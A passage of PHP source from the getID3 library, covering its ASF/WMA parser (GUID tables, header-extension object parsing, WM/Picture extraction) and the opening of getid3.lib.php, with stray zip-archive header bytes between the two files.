'D6E229D3-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Stream_Properties_Object' => 'D6E229D4-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Content_Description_Object' => 'D6E229D5-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Script_Command_Object' => 'D6E229D6-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Marker_Object' => 'D6E229D7-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Component_Download_Object' => 'D6E229D8-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Stream_Group_Object' => 'D6E229D9-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Scalable_Object' => 'D6E229DA-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Prioritization_Object' => 'D6E229DB-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Bitrate_Mutual_Exclusion_Object' => 'D6E229DC-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Inter_Media_Dependency_Object' => 'D6E229DD-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Rating_Object' => 'D6E229DE-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Index_Parameters_Object' => 'D6E229DF-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Color_Table_Object' => 'D6E229E0-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Language_List_Object' => 'D6E229E1-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Audio_Media' => 'D6E229E2-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Video_Media' => 'D6E229E3-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Image_Media' => 'D6E229E4-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Timecode_Media' => 'D6E229E5-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Text_Media' => 'D6E229E6-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_MIDI_Media' => 'D6E229E7-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Command_Media' => 'D6E229E8-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_No_Error_Concealment' => 'D6E229EA-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Scrambled_Audio' => 'D6E229EB-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_No_Color_Table' => 'D6E229EC-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_SMPTE_Time' => 'D6E229ED-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_ASCII_Text' => 'D6E229EE-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Unicode_Text' => 'D6E229EF-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_HTML_Text' => 'D6E229F0-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_URL_Command' => 'D6E229F1-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Filename_Command' => 'D6E229F2-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_ACM_Codec' => 'D6E229F3-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_VCM_Codec' => 'D6E229F4-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_QuickTime_Codec' => 'D6E229F5-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_DirectShow_Transform_Filter' => 'D6E229F6-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_DirectShow_Rendering_Filter' => 'D6E229F7-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_No_Enhancement' => 'D6E229F8-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Unknown_Enhancement_Type' => 'D6E229F9-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Temporal_Enhancement' => 'D6E229FA-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Spatial_Enhancement' => 'D6E229FB-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Quality_Enhancement' => 'D6E229FC-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Number_of_Channels_Enhancement' => 'D6E229FD-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Frequency_Response_Enhancement' => 'D6E229FE-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Media_Object' => 'D6E229FF-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Mutex_Language' => 'D6E22A00-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Mutex_Bitrate' => 'D6E22A01-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Mutex_Unknown' => 'D6E22A02-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_ASF_Placeholder_Object' => 'D6E22A0E-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Data_Unit_Extension_Object' => 'D6E22A0F-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Web_Stream_Format' => 'DA1E6B13-8359-4050-B398-388E965BF00C', 'GETID3_ASF_Payload_Ext_System_File_Name' => 'E165EC0E-19ED-45D7-B4A7-25CBD1E28E9B', 'GETID3_ASF_Marker_Object' => 'F487CD01-A951-11CF-8EE6-00C00C205365', 'GETID3_ASF_Timecode_Index_Parameters_Object' => 'F55E496D-9797-4B5D-8C8B-604DFE9BFB24', 'GETID3_ASF_Audio_Media' => 'F8699E40-5B4D-11CF-A8FD-00805F5C442B', 'GETID3_ASF_Media_Object_Index_Object' => 'FEB103F8-12AD-4C64-840F-2A1D2F7AD48C', 'GETID3_ASF_Alt_Extended_Content_Encryption_Obj' => 'FF889EF1-ADEE-40DA-9E71-98704BB928CE', 'GETID3_ASF_Index_Placeholder_Object' => 'D9AADE20-7C17-4F9C-BC28-8555DD98E2A2', // https://metacpan.org/dist/Audio-WMA/source/WMA.pm 'GETID3_ASF_Compatibility_Object' => '26F18B5D-4584-47EC-9F5F-0E651F0452C9', // https://metacpan.org/dist/Audio-WMA/source/WMA.pm 'GETID3_ASF_Media_Object_Index_Parameters_Object'=> '6B203BAD-3F11-48E4-ACA8-D7613DE2CFA7', ); return $GUIDarray; } /** * @param string $GUIDstring * * @return string|false */ public static function GUIDname($GUIDstring) { static $GUIDarray = array(); if (empty($GUIDarray)) { $GUIDarray = self::KnownGUIDs(); } return array_search($GUIDstring, $GUIDarray); } /** * @param int $id * * @return string */ public static function ASFIndexObjectIndexTypeLookup($id) { static $ASFIndexObjectIndexTypeLookup = array(); if (empty($ASFIndexObjectIndexTypeLookup)) { $ASFIndexObjectIndexTypeLookup[1] = 'Nearest Past Data Packet'; $ASFIndexObjectIndexTypeLookup[2] = 'Nearest Past Media Object'; $ASFIndexObjectIndexTypeLookup[3] = 'Nearest Past Cleanpoint'; } return (isset($ASFIndexObjectIndexTypeLookup[$id]) ? $ASFIndexObjectIndexTypeLookup[$id] : 'invalid'); } /** * @param string $GUIDstring * * @return string */ public static function GUIDtoBytestring($GUIDstring) { // Microsoft defines these 16-byte (128-bit) GUIDs in the strangest way: // first 4 bytes are in little-endian order // next 2 bytes are appended in little-endian order // next 2 bytes are appended in little-endian order // next 2 bytes are appended in big-endian order // next 6 bytes are appended in big-endian order // AaBbCcDd-EeFf-GgHh-IiJj-KkLlMmNnOoPp is stored as this 16-byte string: // $Dd $Cc $Bb $Aa $Ff $Ee $Hh $Gg $Ii $Jj $Kk $Ll $Mm $Nn $Oo $Pp $hexbytecharstring = chr(hexdec(substr($GUIDstring, 6, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 4, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 2, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 0, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 11, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 9, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 16, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 14, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 19, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 21, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 24, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 26, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 28, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 30, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 32, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 34, 2))); return $hexbytecharstring; } /** * @param string $Bytestring * * @return string */ public static function BytestringToGUID($Bytestring) { $GUIDstring = str_pad(dechex(ord($Bytestring[3])), 2, '0', STR_PAD_LEFT); $GUIDstring .= str_pad(dechex(ord($Bytestring[2])), 2, '0', STR_PAD_LEFT); $GUIDstring .= str_pad(dechex(ord($Bytestring[1])), 2, '0', STR_PAD_LEFT); $GUIDstring .= str_pad(dechex(ord($Bytestring[0])), 2, '0', STR_PAD_LEFT); $GUIDstring .= '-'; $GUIDstring .= str_pad(dechex(ord($Bytestring[5])), 2, '0', STR_PAD_LEFT); $GUIDstring .= str_pad(dechex(ord($Bytestring[4])), 2, '0', STR_PAD_LEFT); $GUIDstring .= '-'; $GUIDstring .= str_pad(dechex(ord($Bytestring[7])), 2, '0', STR_PAD_LEFT); $GUIDstring .= str_pad(dechex(ord($Bytestring[6])), 2, '0', STR_PAD_LEFT); $GUIDstring .= '-'; $GUIDstring .= str_pad(dechex(ord($Bytestring[8])), 2, '0', STR_PAD_LEFT); $GUIDstring .= str_pad(dechex(ord($Bytestring[9])), 2, '0', STR_PAD_LEFT); $GUIDstring .= '-'; $GUIDstring .= str_pad(dechex(ord($Bytestring[10])), 2, '0', STR_PAD_LEFT); $GUIDstring .= str_pad(dechex(ord($Bytestring[11])), 2, '0', STR_PAD_LEFT); $GUIDstring .= str_pad(dechex(ord($Bytestring[12])), 2, '0', STR_PAD_LEFT); $GUIDstring .= str_pad(dechex(ord($Bytestring[13])), 2, '0', STR_PAD_LEFT); $GUIDstring .= str_pad(dechex(ord($Bytestring[14])), 2, '0', STR_PAD_LEFT); $GUIDstring .= str_pad(dechex(ord($Bytestring[15])), 2, '0', STR_PAD_LEFT); return strtoupper($GUIDstring); } /** * @param int $FILETIME * @param bool $round * * @return float|int */ public static function FILETIMEtoUNIXtime($FILETIME, $round=true) { // FILETIME is a 64-bit unsigned integer representing // the number of 100-nanosecond intervals since January 1, 1601 // UNIX timestamp is number of seconds since January 1, 1970 // 116444736000000000 = 10000000 * 60 * 60 * 24 * 365 * 369 + 89 leap days if ($round) { return intval(round(($FILETIME - 116444736000000000) / 10000000)); } return ($FILETIME - 116444736000000000) / 10000000; } /** * @param int $WMpictureType * * @return string */ public static function WMpictureTypeLookup($WMpictureType) { static $lookup = null; if ($lookup === null) { $lookup = array( 0x03 => 'Front Cover', 0x04 => 'Back Cover', 0x00 => 'User Defined', 0x05 => 'Leaflet Page', 0x06 => 'Media Label', 0x07 => 'Lead Artist', 0x08 => 'Artist', 0x09 => 'Conductor', 0x0A => 'Band', 0x0B => 'Composer', 0x0C => 'Lyricist', 0x0D => 'Recording Location', 0x0E => 'During Recording', 0x0F => 'During Performance', 0x10 => 'Video Screen Capture', 0x12 => 'Illustration', 0x13 => 'Band Logotype', 0x14 => 'Publisher Logotype' ); $lookup = array_map(function($str) { return getid3_lib::iconv_fallback('UTF-8', 'UTF-16LE', $str); }, $lookup); } return (isset($lookup[$WMpictureType]) ? $lookup[$WMpictureType] : ''); } /** * @param string $asf_header_extension_object_data * @param int $unhandled_sections * * @return array */ public function HeaderExtensionObjectDataParse(&$asf_header_extension_object_data, &$unhandled_sections) { // https://web.archive.org/web/20140419205228/http://msdn.microsoft.com/en-us/library/bb643323.aspx $offset = 0; $objectOffset = 0; $HeaderExtensionObjectParsed = array(); while ($objectOffset < strlen($asf_header_extension_object_data)) { $offset = $objectOffset; $thisObject = array(); $thisObject['guid'] = substr($asf_header_extension_object_data, $offset, 16); $offset += 16; $thisObject['guid_text'] = $this->BytestringToGUID($thisObject['guid']); $thisObject['guid_name'] = $this->GUIDname($thisObject['guid_text']); $thisObject['size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 8)); $offset += 8; if ($thisObject['size'] <= 0) { break; } switch ($thisObject['guid']) { case GETID3_ASF_Extended_Stream_Properties_Object: $thisObject['start_time'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 8)); $offset += 8; $thisObject['start_time_unix'] = $this->FILETIMEtoUNIXtime($thisObject['start_time']); $thisObject['end_time'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 8)); $offset += 8; $thisObject['end_time_unix'] = $this->FILETIMEtoUNIXtime($thisObject['end_time']); $thisObject['data_bitrate'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $thisObject['buffer_size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $thisObject['initial_buffer_fullness'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $thisObject['alternate_data_bitrate'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $thisObject['alternate_buffer_size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $thisObject['alternate_initial_buffer_fullness'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $thisObject['maximum_object_size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $thisObject['flags_raw'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $thisObject['flags']['reliable'] = (bool) $thisObject['flags_raw'] & 0x00000001; $thisObject['flags']['seekable'] = (bool) $thisObject['flags_raw'] & 0x00000002; $thisObject['flags']['no_cleanpoints'] = (bool) $thisObject['flags_raw'] & 0x00000004; $thisObject['flags']['resend_live_cleanpoints'] = (bool) $thisObject['flags_raw'] & 0x00000008; $thisObject['stream_number'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $thisObject['stream_language_id_index'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $thisObject['average_time_per_frame'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 8)); $offset += 8; $thisObject['stream_name_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $thisObject['payload_extension_system_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; for ($i = 0; $i < $thisObject['stream_name_count']; $i++) { $streamName = array(); $streamName['language_id_index'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $streamName['stream_name_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $streamName['stream_name'] = substr($asf_header_extension_object_data, $offset, $streamName['stream_name_length']); $offset += $streamName['stream_name_length']; $thisObject['stream_names'][$i] = $streamName; } for ($i = 0; $i < $thisObject['payload_extension_system_count']; $i++) { $payloadExtensionSystem = array(); $payloadExtensionSystem['extension_system_id'] = substr($asf_header_extension_object_data, $offset, 16); $offset += 16; $payloadExtensionSystem['extension_system_id_text'] = $this->BytestringToGUID($payloadExtensionSystem['extension_system_id']); $payloadExtensionSystem['extension_system_size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; if ($payloadExtensionSystem['extension_system_size'] <= 0) { break 2; } $payloadExtensionSystem['extension_system_info_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $payloadExtensionSystem['extension_system_info'] = substr($asf_header_extension_object_data, $offset, $payloadExtensionSystem['extension_system_info_length']); $offset += $payloadExtensionSystem['extension_system_info_length']; $thisObject['payload_extension_systems'][$i] = $payloadExtensionSystem; } break; case GETID3_ASF_Advanced_Mutual_Exclusion_Object: $thisObject['exclusion_type'] = substr($asf_header_extension_object_data, $offset, 16); $offset += 16; $thisObject['exclusion_type_text'] = $this->BytestringToGUID($thisObject['exclusion_type']); $thisObject['stream_numbers_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; for ($i = 0; $i < $thisObject['stream_numbers_count']; $i++) { $thisObject['stream_numbers'][$i] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; } break; case GETID3_ASF_Stream_Prioritization_Object: $thisObject['priority_records_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; for ($i = 0; $i < $thisObject['priority_records_count']; $i++) { $priorityRecord = array(); $priorityRecord['stream_number'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $priorityRecord['flags_raw'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $priorityRecord['flags']['mandatory'] = (bool) $priorityRecord['flags_raw'] & 0x00000001; $thisObject['priority_records'][$i] = $priorityRecord; } break; case GETID3_ASF_Padding_Object: // padding, skip it break; case GETID3_ASF_Metadata_Object: $thisObject['description_record_counts'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; for ($i = 0; $i < $thisObject['description_record_counts']; $i++) { $descriptionRecord = array(); $descriptionRecord['reserved_1'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); // must be zero $offset += 2; $descriptionRecord['stream_number'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $descriptionRecord['name_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $descriptionRecord['data_type'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $descriptionRecord['data_type_text'] = self::metadataLibraryObjectDataTypeLookup($descriptionRecord['data_type']); $descriptionRecord['data_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $descriptionRecord['name'] = substr($asf_header_extension_object_data, $offset, $descriptionRecord['name_length']); $offset += $descriptionRecord['name_length']; $descriptionRecord['data'] = substr($asf_header_extension_object_data, $offset, $descriptionRecord['data_length']); $offset += $descriptionRecord['data_length']; switch ($descriptionRecord['data_type']) { case 0x0000: // Unicode string break; case 0x0001: // BYTE array // do nothing break; case 0x0002: // BOOL $descriptionRecord['data'] = (bool) getid3_lib::LittleEndian2Int($descriptionRecord['data']); break; case 0x0003: // DWORD case 0x0004: // QWORD case 0x0005: // WORD $descriptionRecord['data'] = getid3_lib::LittleEndian2Int($descriptionRecord['data']); break; case 0x0006: // GUID $descriptionRecord['data_text'] = $this->BytestringToGUID($descriptionRecord['data']); break; } $thisObject['description_record'][$i] = $descriptionRecord; } break; case GETID3_ASF_Language_List_Object: $thisObject['language_id_record_counts'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; for ($i = 0; $i < $thisObject['language_id_record_counts']; $i++) { $languageIDrecord = array(); $languageIDrecord['language_id_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 1)); $offset += 1; $languageIDrecord['language_id'] = substr($asf_header_extension_object_data, $offset, $languageIDrecord['language_id_length']); $offset += $languageIDrecord['language_id_length']; $thisObject['language_id_record'][$i] = $languageIDrecord; } break; case GETID3_ASF_Metadata_Library_Object: $thisObject['description_records_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; for ($i = 0; $i < $thisObject['description_records_count']; $i++) { $descriptionRecord = array(); $descriptionRecord['language_list_index'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $descriptionRecord['stream_number'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $descriptionRecord['name_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $descriptionRecord['data_type'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $descriptionRecord['data_type_text'] = self::metadataLibraryObjectDataTypeLookup($descriptionRecord['data_type']); $descriptionRecord['data_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $descriptionRecord['name'] = substr($asf_header_extension_object_data, $offset, $descriptionRecord['name_length']); $offset += $descriptionRecord['name_length']; $descriptionRecord['data'] = substr($asf_header_extension_object_data, $offset, $descriptionRecord['data_length']); $offset += $descriptionRecord['data_length']; if (preg_match('#^WM/Picture$#', str_replace("\x00", '', trim($descriptionRecord['name'])))) { $WMpicture = $this->ASF_WMpicture($descriptionRecord['data']); foreach ($WMpicture as $key => $value) { $descriptionRecord['data'] = $WMpicture; } unset($WMpicture); } $thisObject['description_record'][$i] = $descriptionRecord; } break; case GETID3_ASF_Index_Parameters_Object: $thisObject['index_entry_time_interval'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $thisObject['index_specifiers_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; for ($i = 0; $i < $thisObject['index_specifiers_count']; $i++) { $indexSpecifier = array(); $indexSpecifier['stream_number'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $indexSpecifier['index_type'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $indexSpecifier['index_type_text'] = isset(static::$ASFIndexParametersObjectIndexSpecifiersIndexTypes[$indexSpecifier['index_type']]) ? static::$ASFIndexParametersObjectIndexSpecifiersIndexTypes[$indexSpecifier['index_type']] : 'invalid' ; $thisObject['index_specifiers'][$i] = $indexSpecifier; } break; case GETID3_ASF_Media_Object_Index_Parameters_Object: $thisObject['index_entry_count_interval'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $thisObject['index_specifiers_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; for ($i = 0; $i < $thisObject['index_specifiers_count']; $i++) { $indexSpecifier = array(); $indexSpecifier['stream_number'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $indexSpecifier['index_type'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $indexSpecifier['index_type_text'] = isset(static::$ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes[$indexSpecifier['index_type']]) ? static::$ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes[$indexSpecifier['index_type']] : 'invalid' ; $thisObject['index_specifiers'][$i] = $indexSpecifier; } break; case GETID3_ASF_Timecode_Index_Parameters_Object: // 4.11 Timecode Index Parameters Object (mandatory only if TIMECODE index is present in file, 0 or 1) // Field name Field type Size (bits) // Object ID GUID 128 // GUID for the Timecode Index Parameters Object - ASF_Timecode_Index_Parameters_Object // Object Size QWORD 64 // Specifies the size, in bytes, of the Timecode Index Parameters Object. Valid values are at least 34 bytes. // Index Entry Count Interval DWORD 32 // This value is ignored for the Timecode Index Parameters Object. // Index Specifiers Count WORD 16 // Specifies the number of entries in the Index Specifiers list. Valid values are 1 and greater. // Index Specifiers array of: varies // // * Stream Number WORD 16 // Specifies the stream number that the Index Specifiers refer to. Valid values are between 1 and 127. // * Index Type WORD 16 // Specifies the type of index. Values are defined as follows (1 is not a valid value): // 2 = Nearest Past Media Object - indexes point to the closest data packet containing an entire video frame or the first fragment of a video frame // 3 = Nearest Past Cleanpoint - indexes point to the closest data packet containing an entire video frame (or first fragment of a video frame) that is a key frame. // Nearest Past Media Object is the most common value $thisObject['index_entry_count_interval'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $thisObject['index_specifiers_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; for ($i = 0; $i < $thisObject['index_specifiers_count']; $i++) { $indexSpecifier = array(); $indexSpecifier['stream_number'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $indexSpecifier['index_type'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $indexSpecifier['index_type_text'] = isset(static::$ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes[$indexSpecifier['index_type']]) ? static::$ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes[$indexSpecifier['index_type']] : 'invalid' ; $thisObject['index_specifiers'][$i] = $indexSpecifier; } break; case GETID3_ASF_Compatibility_Object: $thisObject['profile'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 1)); $offset += 1; $thisObject['mode'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 1)); $offset += 1; break; default: $unhandled_sections++; if ($this->GUIDname($thisObject['guid_text'])) { $this->warning('unhandled Header Extension Object GUID "'.$this->GUIDname($thisObject['guid_text']).'" {'.$thisObject['guid_text'].'} at offset '.($offset - 16 - 8)); } else { $this->warning('unknown Header Extension Object GUID {'.$thisObject['guid_text'].'} in at offset '.($offset - 16 - 8)); } break; } $HeaderExtensionObjectParsed[] = $thisObject; $objectOffset += $thisObject['size']; } return $HeaderExtensionObjectParsed; } /** * @param int $id * * @return string */ public static function metadataLibraryObjectDataTypeLookup($id) { static $lookup = array( 0x0000 => 'Unicode string', // The data consists of a sequence of Unicode characters 0x0001 => 'BYTE array', // The type of the data is implementation-specific 0x0002 => 'BOOL', // The data is 2 bytes long and should be interpreted as a 16-bit unsigned integer. Only 0x0000 or 0x0001 are permitted values 0x0003 => 'DWORD', // The data is 4 bytes long and should be interpreted as a 32-bit unsigned integer 0x0004 => 'QWORD', // The data is 8 bytes long and should be interpreted as a 64-bit unsigned integer 0x0005 => 'WORD', // The data is 2 bytes long and should be interpreted as a 16-bit unsigned integer 0x0006 => 'GUID', // The data is 16 bytes long and should be interpreted as a 128-bit GUID ); return (isset($lookup[$id]) ? $lookup[$id] : 'invalid'); } /** * @param string $data * * @return array */ public function ASF_WMpicture(&$data) { //typedef struct _WMPicture{ // LPWSTR pwszMIMEType; // BYTE bPictureType; // LPWSTR pwszDescription; // DWORD dwDataLen; // BYTE* pbData; //} WM_PICTURE; $WMpicture = array(); $offset = 0; $WMpicture['image_type_id'] = getid3_lib::LittleEndian2Int(substr($data, $offset, 1)); $offset += 1; $WMpicture['image_type'] = self::WMpictureTypeLookup($WMpicture['image_type_id']); $WMpicture['image_size'] = getid3_lib::LittleEndian2Int(substr($data, $offset, 4)); $offset += 4; $WMpicture['image_mime'] = ''; do { $next_byte_pair = substr($data, $offset, 2); $offset += 2; $WMpicture['image_mime'] .= $next_byte_pair; } while ($next_byte_pair !== "\x00\x00"); $WMpicture['image_description'] = ''; do { $next_byte_pair = substr($data, $offset, 2); $offset += 2; $WMpicture['image_description'] .= $next_byte_pair; } while ($next_byte_pair !== "\x00\x00"); $WMpicture['dataoffset'] = $offset; $WMpicture['data'] = substr($data, $offset); $imageinfo = array(); $WMpicture['image_mime'] = ''; $imagechunkcheck = getid3_lib::GetDataImageSize($WMpicture['data'], $imageinfo); unset($imageinfo); if (!empty($imagechunkcheck)) { $WMpicture['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]); } if (!isset($this->getid3->info['asf']['comments']['picture'])) { $this->getid3->info['asf']['comments']['picture'] = array(); } $this->getid3->info['asf']['comments']['picture'][] = array('data'=>$WMpicture['data'], 'image_mime'=>$WMpicture['image_mime']); return $WMpicture; } /** * Remove terminator 00 00 and convert UTF-16LE to Latin-1. * * @param string $string * * @return string */ public static function TrimConvert($string) { return trim(getid3_lib::iconv_fallback('UTF-16LE', 'ISO-8859-1', self::TrimTerm($string)), ' '); } /** * Remove terminator 00 00. * * @param string $string * * @return string */ public static function TrimTerm($string) { // remove terminator, only if present (it should be, but...) if (substr($string, -2) === "\x00\x00") { $string = substr($string, 0, -2); } return $string; } } PKm"[|getid3.lib.phpnu[ // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // // // getid3.lib.php - part of getID3() // // see readme.txt for more details // // /// ///////////////////////////////////////////////////////////////// if(!defined('GETID3_LIBXML_OPTIONS') && defined('LIBXML_VERSION')) { if(LIBXML_VERSION >= 20621) { define('GETID3_LIBXML_OPTIONS', LIBXML_NOENT | LIBXML_NONET | LIBXML_NOWARNING | LIBXML_COMPACT); } else { define('GETID3_LIBXML_OPTIONS', LIBXML_NOENT | LIBXML_NONET | LIBXML_NOWARNING); } } class getid3_lib { /** * @param string $string * @param bool $hex * @param bool $spaces * @param string|bool $htmlencoding * * @return string */ public static function PrintHexBytes($string, $hex=true, $spaces=true, $htmlencoding='UTF-8') { $returnstring = ''; for ($i = 0; $i < strlen($string); $i++) { if ($hex) { $returnstring .= str_pad(dechex(ord($string[$i])), 2, '0', STR_PAD_LEFT); } else { $returnstring .= ' 